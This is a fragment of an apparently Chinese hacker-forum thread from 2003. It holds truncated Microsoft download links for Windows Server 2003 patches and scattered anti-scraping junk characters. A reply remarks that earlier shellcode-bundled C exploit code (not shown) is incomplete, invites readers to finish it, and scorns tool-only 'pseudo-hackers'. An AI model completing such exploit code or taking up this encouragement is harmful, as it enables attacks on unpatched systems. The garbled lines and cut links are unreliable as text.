http://microsoft.com/downloads/d ... &displaylang=en
5 ]0 Y) `/ i3 k. W! a' w
) n7 }6 D  b# h$ [# b) EWindows Server 2003 64 bit Edition：

" A* K; R0 G" d& |4 f% Dhttp://microsoft.com/downloads/d ... &displaylang=en



$ @/ n, n1 E# ?, }1 ?

[此贴子已经被作者于2003-8-9 23:05:32编辑过]

: W" [% ~. s6 O4 T. ]: l7 R  [

ASEE

上述那段捆绑了SHELL CODE的C代码还不完整，没有处理返回的数据，因此VC下编译后的程序执行后没有反应，大家如果有兴趣研究的话，可以补充完整（俺工作太忙，没有太多的时间去补充，Hoho,不要成为只会使用工具的“伪黑客”，说白了，只会使用工具的人都是菜鸟，网络原理都弄不清楚，还搞什么攻击，KAO）。